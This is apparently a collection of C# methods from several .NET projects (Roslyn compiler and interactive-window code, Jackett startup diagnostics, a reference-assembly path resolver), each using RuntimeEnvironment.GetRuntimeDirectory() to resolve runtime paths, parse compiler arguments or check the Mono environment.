public MockCsi(string responseFile, string baseDirectory, string[] args) : base(CSharpCommandLineParser.Interactive, responseFile, args, Path.GetDirectoryName(typeof(CSharpCompiler).Assembly.Location), baseDirectory, RuntimeEnvironment.GetRuntimeDirectory(), null) { }
public async Task<bool> RunAsync(CancellationToken cancellationToken = default(CancellationToken)) { try { // this parameter was introduced in rc3, all call to it seem to be using RuntimeEnvironment.GetRuntimeDirectory() // https://github.com/dotnet/roslyn/blob/0382e3e3fc543fc483090bff3ab1eaae39dfb4d9/src/Compilers/CSharp/csc/Program.cs#L18 var sdkDirectory = RuntimeEnvironment.GetRuntimeDirectory(); CscArgs = CSharpCommandLineParser.Default.Parse(_precompilationCommandLineArgs.Arguments, _precompilationCommandLineArgs.BaseDirectory, sdkDirectory); Diagnostics = new List<Diagnostic>(CscArgs.Errors); // load those before anything else hooks into our AssemlbyResolve... var compilationModules = LoadModules().ToList(); if (Diagnostics.Any()) { return false; } Encoding = CscArgs.Encoding ?? new UTF8Encoding(false); // utf8 without bom var outputPath = Path.Combine(CscArgs.OutputDirectory, CscArgs.OutputFileName); var pdbPath = CscArgs.PdbPath ?? Path.ChangeExtension(outputPath, ".pdb"); using (var workspace = CreateWokspace()) using (var peStream = new MemoryStream()) using (var pdbStream = CscArgs.EmitPdb && CscArgs.EmitOptions.DebugInformationFormat != DebugInformationFormat.Embedded ? new MemoryStream() : null) using (var xmlDocumentationStream = !string.IsNullOrWhiteSpace(CscArgs.DocumentationPath) ? new MemoryStream() : null) using (var razorParser = CreateRazorParser(workspace, cancellationToken)) { EmitResult emitResult = null; var project = CreateProject(workspace, razorParser); CSharpCompilation compilation = null; CompilationWithAnalyzers compilationWithAnalyzers = null; try { compilation = await project.GetCompilationAsync(cancellationToken) as CSharpCompilation; await razorParser.Complete(); } catch (Exception ex) { Diagnostics.Add(Diagnostic.Create(FailedToCreateCompilation, Location.None, ex)); return false; } var analyzers = project.AnalyzerReferences.SelectMany(x => x.GetAnalyzers(project.Language)).ToImmutableArray(); if (!analyzers.IsEmpty) { compilationWithAnalyzers = compilation.WithAnalyzers(analyzers, project.AnalyzerOptions, cancellationToken); compilation = compilationWithAnalyzers.Compilation as CSharpCompilation; } var context = new CompileContext(compilationModules); context.Before(new BeforeCompileContext { Arguments = CscArgs, Compilation = compilation.AddSyntaxTrees(GeneratedSyntaxTrees()), Diagnostics = Diagnostics, }); CscArgs = context.BeforeCompileContext.Arguments; compilation = context.BeforeCompileContext.Compilation; var analysisTask = compilationWithAnalyzers?.GetAnalysisResultAsync(cancellationToken); using (var win32Resources = CreateWin32Resource(compilation)) { // PathMapping is also required here, to actually get the symbols to line up: // https://github.com/dotnet/roslyn/blob/9d081e899b35294b8f1793d31abe5e2c43698844/src/Compilers/Core/Portable/CommandLine/CommonCompiler.cs#L616 // PathUtilities.NormalizePathPrefix is internal, but callable via the SourceFileResolver, that we set in CreateProject var emitOptions = CscArgs.EmitOptions .WithPdbFilePath(compilation.Options.SourceReferenceResolver.NormalizePath(pdbPath, CscArgs.BaseDirectory)); // https://github.com/dotnet/roslyn/blob/41950e21da3ac2c307fb46c2ca8c8509b5059909/src/Compilers/Core/Portable/CommandLine/CommonCompiler.cs#L437 emitResult = compilation.Emit( peStream: peStream, pdbStream: pdbStream, xmlDocumentationStream: xmlDocumentationStream, win32Resources: win32Resources, manifestResources: CscArgs.ManifestResources, options: emitOptions, sourceLinkStream: TryOpenFile(CscArgs.SourceLink, out var sourceLinkStream) ? sourceLinkStream : null, embeddedTexts: CscArgs.EmbeddedFiles.AsEnumerable() .Select(x => TryOpenFile(x.Path, out var embeddedText) ? EmbeddedText.FromStream(x.Path, embeddedText) : null) .Where(x => x != null), debugEntryPoint: null, cancellationToken: cancellationToken); } Diagnostics.AddRange(emitResult.Diagnostics); try { var analysisResult = analysisTask == null ? null : await analysisTask; if (analysisResult != null) { Diagnostics.AddRange(analysisResult.GetAllDiagnostics()); foreach (var info in analysisResult.AnalyzerTelemetryInfo) { Console.WriteLine($"hidden: {info.Key} {info.Value.ExecutionTime.TotalMilliseconds:#}ms"); } } } catch (OperationCanceledException) { Console.WriteLine("warning: analysis canceled"); } catch (Exception ex) { Diagnostics.Add(Diagnostic.Create(AnalysisFailed, Location.None, ex)); return false; } if (!emitResult.Success || HasErrors) { return false; } context.After(new AfterCompileContext { Arguments = CscArgs, AssemblyStream = peStream, Compilation = compilation, Diagnostics = Diagnostics, SymbolStream = pdbStream, XmlDocStream = xmlDocumentationStream, }); if (!HasErrors) { // do not create the output files if emit fails // if the output files are there, msbuild incremental build thinks the previous build succeeded await Task.WhenAll( DumpToFileAsync(outputPath, peStream, cancellationToken), DumpToFileAsync(pdbPath, pdbStream, cancellationToken), DumpToFileAsync(CscArgs.DocumentationPath, xmlDocumentationStream, cancellationToken)); return true; } return false; } } catch (PrecompilationModuleException pmex) { Diagnostics.Add(Diagnostic.Create(PrecompilationModuleFailed, Location.None, pmex.Message, pmex.InnerException)); return false; } catch (Exception ex) { Diagnostics.Add(Diagnostic.Create(UnhandledException, Location.None, ex)); return false; } finally { // strings only, since the Console.Out textwriter is another app domain... // https://stackoverflow.com/questions/2459994/is-there-a-way-to-print-a-new-line-when-using-message for (var i = 0; i < Diagnostics.Count; i++) { var d = Diagnostics[i]; if (!d.IsSuppressed && d.Severity != DiagnosticSeverity.Hidden) { Console.WriteLine(d.ToString().Replace("\r", "").Replace("\n", "\\n")); } } } }
public void Initalize() { logger.Info("Starting Jackett " + configService.GetVersion()); try { var x = Environment.OSVersion; var runtimedir = RuntimeEnvironment.GetRuntimeDirectory(); logger.Info("Environment version: " + Environment.Version.ToString() + " (" + runtimedir + ")"); logger.Info("OS version: " + Environment.OSVersion.ToString() + (Environment.Is64BitOperatingSystem ? " (64bit OS)" : "") + (Environment.Is64BitProcess ? " (64bit process)" : "")); try { int workerThreads; int completionPortThreads; ThreadPool.GetMaxThreads(out workerThreads, out completionPortThreads); logger.Info("ThreadPool MaxThreads: " + workerThreads + " workerThreads, " + completionPortThreads + " completionPortThreads"); } catch (Exception e) { logger.Error("Error while getting MaxThreads details: " + e); } try { var issuefile = "/etc/issue"; if (File.Exists(issuefile)) { using (StreamReader reader = new StreamReader(issuefile)) { string firstLine; firstLine = reader.ReadLine(); if (firstLine != null) { logger.Info("issue: " + firstLine); } } } } catch (Exception e) { logger.Error(e, "Error while reading the issue file"); } Type monotype = Type.GetType("Mono.Runtime"); if (monotype != null) { MethodInfo displayName = monotype.GetMethod("GetDisplayName", BindingFlags.NonPublic | BindingFlags.Static); var monoVersion = "unknown"; if (displayName != null) { monoVersion = displayName.Invoke(null, null).ToString(); } logger.Info("mono version: " + monoVersion); var monoVersionO = new Version(monoVersion.Split(' ')[0]); if (monoVersionO.Major < 4) { logger.Error("Your mono version is to old (mono 3 is no longer supported). Please update to the latest version from http://www.mono-project.com/download/"); Engine.Exit(2); } else if (monoVersionO.Major == 4 && monoVersionO.Minor == 2) { var notice = "mono version 4.2.* is known to cause problems with Jackett. If you experience any problems please try updating to the latest mono version from http://www.mono-project.com/download/ first."; _notices.Add(notice); logger.Error(notice); } try { // Check for mono-devel // Is there any better way which doesn't involve a hard cashes? var mono_devel_file = Path.Combine(runtimedir, "mono-api-info.exe"); if (!File.Exists(mono_devel_file)) { var notice = "It looks like the mono-devel package is not installed, please make sure it's installed to avoid crashes."; _notices.Add(notice); logger.Error(notice); } } catch (Exception e) { logger.Error(e, "Error while checking for mono-devel"); } try { // Check for ca-certificates-mono var mono_cert_file = Path.Combine(runtimedir, "cert-sync.exe"); if (!File.Exists(mono_cert_file)) { if ((monoVersionO.Major >= 4 && monoVersionO.Minor >= 8) || monoVersionO.Major >= 5) { var notice = "The ca-certificates-mono package is not installed, HTTPS trackers won't work. Please install it."; _notices.Add(notice); logger.Error(notice); } else { logger.Info("The ca-certificates-mono package is not installed, it will become mandatory once mono >= 4.8 is used."); } } } catch (Exception e) { logger.Error(e, "Error while checking for ca-certificates-mono"); } try { Encoding.GetEncoding("windows-1255"); } catch (NotSupportedException e) { logger.Debug(e); logger.Error(e.Message + " Most likely the mono-locale-extras package is not installed."); Engine.Exit(2); } if (Engine.WebClientType == typeof(HttpWebClient) || Engine.WebClientType == typeof(HttpWebClient2)) { // check if the certificate store was initialized using Mono.Security.X509.X509StoreManager.TrustedRootCertificates.Count try { var monoSecurity = Assembly.Load("Mono.Security"); Type monoX509StoreManager = monoSecurity.GetType("Mono.Security.X509.X509StoreManager"); if (monoX509StoreManager != null) { var TrustedRootCertificatesProperty = monoX509StoreManager.GetProperty("TrustedRootCertificates"); var TrustedRootCertificates = (ICollection)TrustedRootCertificatesProperty.GetValue(null); logger.Info("TrustedRootCertificates count: " + TrustedRootCertificates.Count); if (TrustedRootCertificates.Count == 0) { var CACertificatesFiles = new string[] { "/etc/ssl/certs/ca-certificates.crt", // Debian based "/etc/pki/tls/certs/ca-bundle.c", // RedHat based "/etc/ssl/ca-bundle.pem", // SUSE }; var notice = "The mono certificate store is not initialized.<br/>\n"; var logSpacer = " "; var CACertificatesFile = CACertificatesFiles.Where(f => File.Exists(f)).FirstOrDefault(); var CommandRoot = "curl -sS https://curl.haxx.se/ca/cacert.pem | cert-sync /dev/stdin"; var CommandUser = "******"; if (CACertificatesFile != null) { CommandRoot = "cert-sync " + CACertificatesFile; CommandUser = "******" + CACertificatesFile; } notice += logSpacer + "Please run the following command as root:<br/>\n"; notice += logSpacer + "<pre>" + CommandRoot + "</pre><br/>\n"; notice += logSpacer + "If you don't have root access or you're running MacOS, please run the following command as the jackett user (" + Environment.UserName + "):<br/>\n"; notice += logSpacer + "<pre>" + CommandUser + "</pre>"; _notices.Add(notice); logger.Error(Regex.Replace(notice, "<.*?>", String.Empty)); } } } catch (Exception e) { logger.Error(e, "Error while chekcing the mono certificate store"); } } } } catch (Exception e) { logger.Error("Error while getting environment details: " + e); } try { if (Environment.UserName == "root") { var notice = "Jackett is running with root privileges. You should run Jackett as an unprivileged user."; _notices.Add(notice); logger.Error(notice); } } catch (Exception e) { logger.Error(e, "Error while checking the username"); } CultureInfo.DefaultThreadCurrentCulture = new CultureInfo("en-US"); // Load indexers indexerService.InitIndexers(configService.GetCardigannDefinitionsFolders()); client.Init(); updater.CleanupTempDir(); }
/// <summary> /// Loads references, set options and execute files specified in the initialization file. /// Also prints logo unless <paramref name="isRestarting"/> is true. /// </summary> private async Task <EvaluationState> InitializeContextAsync( Task <EvaluationState> lastTask, RemoteAsyncOperation <RemoteExecutionResult> operation, string initializationFileOpt, bool isRestarting) { Debug.Assert(initializationFileOpt == null || PathUtilities.IsAbsolute(initializationFileOpt)); var state = await ReportUnhandledExceptionIfAny(lastTask).ConfigureAwait(false); try { // TODO (tomat): this is also done in CommonInteractiveEngine, perhaps we can pass the parsed command lines to here? if (!isRestarting) { Console.Out.WriteLine(_replServiceProvider.Logo); } if (File.Exists(initializationFileOpt)) { Console.Out.WriteLine(string.Format(FeaturesResources.LoadingContextFrom, Path.GetFileName(initializationFileOpt))); var parser = _replServiceProvider.CommandLineParser; // The base directory for relative paths is the directory that contains the .rsp file. // Note that .rsp files included by this .rsp file will share the base directory (Dev10 behavior of csc/vbc). var rspDirectory = Path.GetDirectoryName(initializationFileOpt); var args = parser.Parse(new[] { "@" + initializationFileOpt }, rspDirectory, RuntimeEnvironment.GetRuntimeDirectory(), null); foreach (var error in args.Errors) { var writer = (error.Severity == DiagnosticSeverity.Error) ? Console.Error : Console.Out; writer.WriteLine(error.GetMessage(CultureInfo.CurrentCulture)); } if (args.Errors.Length == 0) { var metadataResolver = CreateMetadataReferenceResolver(args.ReferencePaths, rspDirectory); var sourceResolver = CreateSourceReferenceResolver(args.SourcePaths, rspDirectory); var metadataReferences = new List <PortableExecutableReference>(); foreach (CommandLineReference cmdLineReference in args.MetadataReferences) { // interactive command line parser doesn't accept modules or linked assemblies Debug.Assert(cmdLineReference.Properties.Kind == MetadataImageKind.Assembly && !cmdLineReference.Properties.EmbedInteropTypes); var resolvedReferences = metadataResolver.ResolveReference(cmdLineReference.Reference, baseFilePath: null, properties: MetadataReferenceProperties.Assembly); if (!resolvedReferences.IsDefaultOrEmpty) { metadataReferences.AddRange(resolvedReferences); } } var scriptPathOpt = args.SourceFiles.IsEmpty ? null : args.SourceFiles[0].Path; var rspState = new EvaluationState( state.ScriptStateOpt, state.ScriptOptions. WithFilePath(scriptPathOpt). WithReferences(metadataReferences). WithImports(CommandLineHelpers.GetImports(args)). WithMetadataResolver(metadataResolver). WithSourceResolver(sourceResolver), args.SourcePaths, args.ReferencePaths, rspDirectory); _globals.ReferencePaths.Clear(); _globals.ReferencePaths.AddRange(args.ReferencePaths); _globals.SourcePaths.Clear(); _globals.SourcePaths.AddRange(args.SourcePaths); _globals.Args.AddRange(args.ScriptArguments); if (scriptPathOpt != null) { var newScriptState = await TryExecuteFileAsync(rspState, scriptPathOpt).ConfigureAwait(false); if (newScriptState != null) { // remove references and imports from the options, they have been applied and will be inherited from now on: rspState = rspState. WithScriptState(newScriptState). WithOptions(rspState.ScriptOptions.RemoveImportsAndReferences()); } } state = rspState; } } if (!isRestarting) { Console.Out.WriteLine(FeaturesResources.TypeHelpForMoreInformation); } } catch (Exception e) { ReportUnhandledException(e); } finally { state = CompleteExecution(state, operation, success: true); } return(state); }
/// <summary> /// Invoked by <see cref="InteractiveHost"/> when a new process is being started. /// </summary> private void ProcessStarting(bool initialize) { var textView = GetCurrentWindowOrThrow().TextView; var dispatcher = ((FrameworkElement)textView).Dispatcher; if (!dispatcher.CheckAccess()) { dispatcher.BeginInvoke(new Action(() => ProcessStarting(initialize))); return; } // Freeze all existing classifications and then clear the list of submission buffers we have. _submissionBuffers.Remove(_currentSubmissionBuffer); // if present foreach (var textBuffer in _submissionBuffers) { InertClassifierProvider.CaptureExistingClassificationSpans(_classifierAggregator, textView, textBuffer); } _submissionBuffers.Clear(); // We always start out empty _workspace.ClearSolution(); _currentSubmissionProjectId = null; _previousSubmissionProjectId = null; var metadataService = _workspace.CurrentSolution.Services.MetadataService; var mscorlibRef = metadataService.GetReference(typeof(object).Assembly.Location, MetadataReferenceProperties.Assembly); var interactiveHostObjectRef = metadataService.GetReference(typeof(InteractiveScriptGlobals).Assembly.Location, Script.HostAssemblyReferenceProperties); _responseFileReferences = ImmutableArray.Create <MetadataReference>(mscorlibRef, interactiveHostObjectRef); _responseFileImports = ImmutableArray <string> .Empty; _initialScriptFileOpt = null; ReferenceSearchPaths = ImmutableArray <string> .Empty; SourceSearchPaths = ImmutableArray <string> .Empty; if (initialize && File.Exists(_responseFilePath)) { // The base directory for relative paths is the directory that contains the .rsp file. // Note that .rsp files included by this .rsp file will share the base directory (Dev10 behavior of csc/vbc). var responseFileDirectory = Path.GetDirectoryName(_responseFilePath); var args = this.CommandLineParser.Parse(new[] { "@" + _responseFilePath }, responseFileDirectory, RuntimeEnvironment.GetRuntimeDirectory(), null); if (args.Errors.Length == 0) { var metadataResolver = CreateMetadataReferenceResolver(metadataService, args.ReferencePaths, responseFileDirectory); var sourceResolver = CreateSourceReferenceResolver(args.SourcePaths, responseFileDirectory); // ignore unresolved references, they will be reported in the interactive window: var responseFileReferences = args.ResolveMetadataReferences(metadataResolver).Where(r => !(r is UnresolvedMetadataReference)); _initialScriptFileOpt = args.SourceFiles.IsEmpty ? null : args.SourceFiles[0].Path; ReferenceSearchPaths = args.ReferencePaths; SourceSearchPaths = args.SourcePaths; _responseFileReferences = _responseFileReferences.AddRange(responseFileReferences); _responseFileImports = CommandLineHelpers.GetImports(args); } } _metadataReferenceResolver = CreateMetadataReferenceResolver(metadataService, ReferenceSearchPaths, _initialWorkingDirectory); _sourceReferenceResolver = CreateSourceReferenceResolver(SourceSearchPaths, _initialWorkingDirectory); // create the first submission project in the workspace after reset: if (_currentSubmissionBuffer != null) { AddSubmission(_currentSubmissionBuffer, this.LanguageName); } }
private static string FixReference(string filePath) { string runtimeDirectory = RuntimeEnvironment.GetRuntimeDirectory(); string str2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), @"Reference Assemblies\Microsoft\Framework\"); string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles); if (folderPath.EndsWith(@"\")) { folderPath = folderPath.Substring(0, folderPath.Length - 1); } if (!folderPath.EndsWith("(x86)", StringComparison.InvariantCultureIgnoreCase)) { folderPath = folderPath + " (x86)"; } string str4 = folderPath + @"\Reference Assemblies\Microsoft\Framework\"; bool flag = filePath.StartsWith(runtimeDirectory, StringComparison.InvariantCultureIgnoreCase); bool flag2 = filePath.StartsWith(str2, StringComparison.InvariantCultureIgnoreCase); bool flag3 = filePath.StartsWith(str4, StringComparison.InvariantCultureIgnoreCase); if ((flag || flag2) || flag3) { string str8; if (File.Exists(filePath)) { if (flag) { return(filePath); } if ((Environment.Version.Major == 2) && (filePath.IndexOf(@"\.NETFramework\v4.0\") == -1)) { return(filePath); } if (((Environment.Version.Major == 4) && (filePath.IndexOf(@"\Framework\v3.0\") == -1)) && (filePath.IndexOf(@"\Framework\v3.5\") == -1)) { return(filePath); } } string fileName = Path.GetFileName(filePath); string path = Path.Combine(runtimeDirectory, fileName); if (File.Exists(path)) { return(path); } path = Path.Combine(runtimeDirectory, @"wpf\" + fileName); if (File.Exists(path)) { return(path); } if (Environment.Version.Major == 2) { str8 = Path.Combine(str2, @"v3.5\" + fileName); if (File.Exists(str8)) { return(str8); } str8 = Path.Combine(str2, @"v3.0\" + fileName); if (File.Exists(str8)) { return(str8); } return(filePath); } if (Environment.Version.Major == 4) { str8 = Path.Combine(str2, @".NETFramework\v4.0\" + fileName); if (File.Exists(str8)) { return(str8); } str8 = Path.Combine(str4, @".NETFramework\v4.0\" + fileName); if (File.Exists(str8)) { return(str8); } } } return(filePath); }
private void GetProjectProperties( IntPtr hierarchyPointer, out ImmutableArray <string> references, out ImmutableArray <string> referenceSearchPaths, out ImmutableArray <string> sourceSearchPaths, out ImmutableArray <string> projectNamespaces, out string projectDirectory, out InteractiveHostPlatform?platform) { var hierarchy = (IVsHierarchy)Marshal.GetObjectForIUnknown(hierarchyPointer); Marshal.ThrowExceptionForHR( hierarchy.GetProperty((uint)VSConstants.VSITEMID.Root, (int)__VSHPROPID.VSHPROPID_ExtObject, out var extensibilityObject)); var dteProject = (EnvDTE.Project)extensibilityObject; var vsProject = (VSLangProj.VSProject)dteProject.Object; var projectOpt = GetProjectFromHierarchy(hierarchy); var referencesBuilder = ImmutableArray.CreateBuilder <string>(); var referenceSearchPathsBuilder = ImmutableArray.CreateBuilder <string>(); var sourceSearchPathsBuilder = ImmutableArray.CreateBuilder <string>(); var namespacesToImportBuilder = ImmutableArray.CreateBuilder <string>(); var projectDir = (string)dteProject.Properties.Item("FullPath").Value; var outputFileName = (string)dteProject.Properties.Item("OutputFileName").Value; var defaultNamespace = (string)dteProject.Properties.Item("DefaultNamespace").Value; var targetFrameworkMoniker = (string)dteProject.Properties.Item("TargetFrameworkMoniker").Value; var relativeOutputPath = (string)dteProject.ConfigurationManager.ActiveConfiguration.Properties.Item("OutputPath").Value; Debug.Assert(!string.IsNullOrEmpty(projectDir)); Debug.Assert(!string.IsNullOrEmpty(outputFileName)); Debug.Assert(!string.IsNullOrEmpty(relativeOutputPath)); var scriptsDir = Path.Combine(projectDir, "Scripts"); var outputDir = Path.Combine(projectDir, relativeOutputPath); projectDirectory = projectDir; referenceSearchPathsBuilder.Add(outputDir); referenceSearchPathsBuilder.Add(RuntimeEnvironment.GetRuntimeDirectory()); foreach (VSLangProj.Reference reference in vsProject.References) { var str = GetReferenceString(reference); if (str != null) { referencesBuilder.Add(str); } } referencesBuilder.Add(outputFileName); // TODO (tomat): project Scripts dir sourceSearchPathsBuilder.Add(Directory.Exists(scriptsDir) ? scriptsDir : projectDir); if (!string.IsNullOrEmpty(defaultNamespace)) { namespacesToImportBuilder.Add(defaultNamespace); } references = referencesBuilder.ToImmutableArray(); referenceSearchPaths = referenceSearchPathsBuilder.ToImmutableArray(); sourceSearchPaths = sourceSearchPathsBuilder.ToImmutableArray(); projectNamespaces = namespacesToImportBuilder.ToImmutableArray(); platform = (projectOpt != null) ? GetInteractiveHostPlatform(targetFrameworkMoniker, projectOpt.CompilationOptions.Platform) : null; }
internal DesktopCompilerServerHost() : this(AppDomain.CurrentDomain.BaseDirectory, RuntimeEnvironment.GetRuntimeDirectory()) { }
/// <summary> /// Create a <see cref="ProjectInfo"/> structure initialized from a compilers command line arguments. /// </summary> public static ProjectInfo CreateProjectInfo(string projectName, string language, IEnumerable <string> commandLineArgs, string projectDirectory, Workspace workspace = null) { // TODO (tomat): the method may throw all sorts of exceptions. var tmpWorkspace = workspace ?? new AdhocWorkspace(DesktopMefHostServices.DefaultServices); var languageServices = tmpWorkspace.Services.GetLanguageServices(language); if (languageServices == null) { throw new ArgumentException(WorkspacesResources.UnrecognizedLanguageName); } var commandLineParser = languageServices.GetRequiredService <ICommandLineParserService>(); var commandLineArguments = commandLineParser.Parse(commandLineArgs, projectDirectory, isInteractive: false, sdkDirectory: RuntimeEnvironment.GetRuntimeDirectory()); // TODO (tomat): to match csc.exe/vbc.exe we should use CommonCommandLineCompiler.ExistingReferencesResolver to deal with #r's var referenceResolver = new MetadataFileReferenceResolver(commandLineArguments.ReferencePaths, commandLineArguments.BaseDirectory); var referenceProvider = tmpWorkspace.Services.GetRequiredService <IMetadataService>().GetProvider(); var analyzerLoader = tmpWorkspace.Services.GetRequiredService <IAnalyzerService>().GetLoader(); var xmlFileResolver = new XmlFileResolver(commandLineArguments.BaseDirectory); var strongNameProvider = new DesktopStrongNameProvider(commandLineArguments.KeyFileSearchPaths); // resolve all metadata references. var boundMetadataReferences = commandLineArguments.ResolveMetadataReferences(new AssemblyReferenceResolver(referenceResolver, referenceProvider)); var unresolvedMetadataReferences = boundMetadataReferences.FirstOrDefault(r => r is UnresolvedMetadataReference); if (unresolvedMetadataReferences != null) { throw new ArgumentException(string.Format(WorkspacesResources.CantResolveMetadataReference, ((UnresolvedMetadataReference)unresolvedMetadataReferences).Reference)); } // resolve all analyzer references. foreach (var path in commandLineArguments.AnalyzerReferences.Select(r => r.FilePath)) { analyzerLoader.AddDependencyLocation(path); } var boundAnalyzerReferences = commandLineArguments.ResolveAnalyzerReferences(analyzerLoader); var unresolvedAnalyzerReferences = boundAnalyzerReferences.FirstOrDefault(r => r is UnresolvedAnalyzerReference); if (unresolvedAnalyzerReferences != null) { throw new ArgumentException(string.Format(WorkspacesResources.CantResolveAnalyzerReference, ((UnresolvedAnalyzerReference)unresolvedAnalyzerReferences).Display)); } AssemblyIdentityComparer assemblyIdentityComparer; if (commandLineArguments.AppConfigPath != null) { try { using (var appConfigStream = new FileStream(commandLineArguments.AppConfigPath, FileMode.Open, FileAccess.Read)) { assemblyIdentityComparer = DesktopAssemblyIdentityComparer.LoadFromXml(appConfigStream); } } catch (Exception e) { throw new ArgumentException(string.Format(WorkspacesResources.ErrorWhileReadingSpecifiedConfigFile, e.Message)); } } else { assemblyIdentityComparer = DesktopAssemblyIdentityComparer.Default; } var projectId = ProjectId.CreateNewId(debugName: projectName); // construct file infos var docs = new List <DocumentInfo>(); foreach (var fileArg in commandLineArguments.SourceFiles) { var absolutePath = Path.IsPathRooted(fileArg.Path) || string.IsNullOrEmpty(projectDirectory) ? Path.GetFullPath(fileArg.Path) : Path.GetFullPath(Path.Combine(projectDirectory, fileArg.Path)); var relativePath = FilePathUtilities.GetRelativePath(projectDirectory, absolutePath); var isWithinProject = FilePathUtilities.IsNestedPath(projectDirectory, absolutePath); var folderRoot = isWithinProject ? Path.GetDirectoryName(relativePath) : ""; var folders = isWithinProject ? GetFolders(relativePath) : null; var name = Path.GetFileName(relativePath); var id = DocumentId.CreateNewId(projectId, absolutePath); var doc = DocumentInfo.Create( id: id, name: name, folders: folders, sourceCodeKind: fileArg.IsScript ? SourceCodeKind.Script : SourceCodeKind.Regular, loader: new FileTextLoader(absolutePath, commandLineArguments.Encoding), filePath: absolutePath); docs.Add(doc); } // construct file infos for additional files. var additionalDocs = new List <DocumentInfo>(); foreach (var fileArg in commandLineArguments.AdditionalFiles) { var absolutePath = Path.IsPathRooted(fileArg.Path) || string.IsNullOrEmpty(projectDirectory) ? Path.GetFullPath(fileArg.Path) : Path.GetFullPath(Path.Combine(projectDirectory, fileArg.Path)); var relativePath = FilePathUtilities.GetRelativePath(projectDirectory, absolutePath); var isWithinProject = FilePathUtilities.IsNestedPath(projectDirectory, absolutePath); var folderRoot = isWithinProject ? Path.GetDirectoryName(relativePath) : ""; var folders = isWithinProject ? GetFolders(relativePath) : null; var name = Path.GetFileName(relativePath); var id = DocumentId.CreateNewId(projectId, absolutePath); var doc = DocumentInfo.Create( id: id, name: name, folders: folders, sourceCodeKind: SourceCodeKind.Regular, loader: new FileTextLoader(absolutePath, commandLineArguments.Encoding), filePath: absolutePath); additionalDocs.Add(doc); } // If /out is not specified and the project is a console app the csc.exe finds out the Main method // and names the compilation after the file that contains it. We don't want to create a compilation, // bind Mains etc. here. Besides the msbuild always includes /out in the command line it produces. // So if we don't have the /out argument we name the compilation "<anonymous>". string assemblyName = (commandLineArguments.OutputFileName != null) ? Path.GetFileNameWithoutExtension(commandLineArguments.OutputFileName) : "<anonymous>"; // TODO (tomat): what should be the assemblyName when compiling a netmodule? Should it be /moduleassemblyname var projectInfo = ProjectInfo.Create( projectId, VersionStamp.Create(), projectName, assemblyName, language: language, compilationOptions: commandLineArguments.CompilationOptions .WithXmlReferenceResolver(xmlFileResolver) .WithAssemblyIdentityComparer(assemblyIdentityComparer) .WithStrongNameProvider(strongNameProvider) .WithMetadataReferenceResolver(new AssemblyReferenceResolver(referenceResolver, referenceProvider)), parseOptions: commandLineArguments.ParseOptions, documents: docs, additionalDocuments: additionalDocs, metadataReferences: boundMetadataReferences, analyzerReferences: boundAnalyzerReferences); return(projectInfo); }
/// <summary> /// Loads references, set options and execute files specified in the initialization file. /// Also prints logo unless <paramref name="isRestarting"/> is true. /// </summary> private async Task <EvaluationState> InitializeContextAsync( Task <EvaluationState> lastTask, RemoteAsyncOperation <RemoteExecutionResult> operation, string initializationFileOpt, bool isRestarting) { Debug.Assert(initializationFileOpt == null || PathUtilities.IsAbsolute(initializationFileOpt)); var state = await ReportUnhandledExceptionIfAny(lastTask).ConfigureAwait(false); try { // TODO (tomat): this is also done in CommonInteractiveEngine, perhaps we can pass the parsed command lines to here? if (!isRestarting) { Console.Out.WriteLine(_replServiceProvider.Logo); } if (File.Exists(initializationFileOpt)) { Console.Out.WriteLine(string.Format(FeaturesResources.LoadingContextFrom, Path.GetFileName(initializationFileOpt))); var parser = _replServiceProvider.CommandLineParser; // The base directory for relative paths is the directory that contains the .rsp file. // Note that .rsp files included by this .rsp file will share the base directory (Dev10 behavior of csc/vbc). var rspDirectory = Path.GetDirectoryName(initializationFileOpt); var args = parser.Parse(new[] { "@" + initializationFileOpt }, rspDirectory, RuntimeEnvironment.GetRuntimeDirectory(), null /* TODO: pass a valid value*/); foreach (var error in args.Errors) { var writer = (error.Severity == DiagnosticSeverity.Error) ? Console.Error : Console.Out; writer.WriteLine(error.GetMessage(CultureInfo.CurrentCulture)); } if (args.Errors.Length == 0) { // TODO (tomat): other arguments // TODO (tomat): parse options var metadataResolver = CreateMetadataReferenceResolver(args.ReferencePaths, rspDirectory); _hostObject.ReferencePaths.Clear(); _hostObject.ReferencePaths.AddRange(args.ReferencePaths); _hostObject.SourcePaths.Clear(); var metadataReferences = new List <PortableExecutableReference>(); foreach (CommandLineReference cmdLineReference in args.MetadataReferences) { // interactive command line parser doesn't accept modules or linked assemblies Debug.Assert(cmdLineReference.Properties.Kind == MetadataImageKind.Assembly && !cmdLineReference.Properties.EmbedInteropTypes); var resolvedReferences = metadataResolver.ResolveReference(cmdLineReference.Reference, baseFilePath: null, properties: MetadataReferenceProperties.Assembly); if (!resolvedReferences.IsDefaultOrEmpty) { metadataReferences.AddRange(resolvedReferences); } } // only search for scripts next to the .rsp file: var sourceSearchPaths = ImmutableArray <string> .Empty; var rspState = new EvaluationState( state.ScriptStateOpt, state.ScriptOptions.AddReferences(metadataReferences), sourceSearchPaths, args.ReferencePaths, rspDirectory); foreach (CommandLineSourceFile file in args.SourceFiles) { // execute all files as scripts (matches csi/vbi semantics) string fullPath = ResolveRelativePath(file.Path, rspDirectory, sourceSearchPaths, displayPath: true); if (fullPath != null) { var newScriptState = await ExecuteFileAsync(rspState, fullPath).ConfigureAwait(false); if (newScriptState != null) { rspState = rspState.WithScriptState(newScriptState); } } } state = new EvaluationState( rspState.ScriptStateOpt, rspState.ScriptOptions, ImmutableArray <string> .Empty, args.ReferencePaths, state.WorkingDirectory); } } if (!isRestarting) { Console.Out.WriteLine(FeaturesResources.TypeHelpForMoreInformation); } } catch (Exception e) { ReportUnhandledException(e); } finally { state = CompleteExecution(state, operation, success: true); } return(state); }
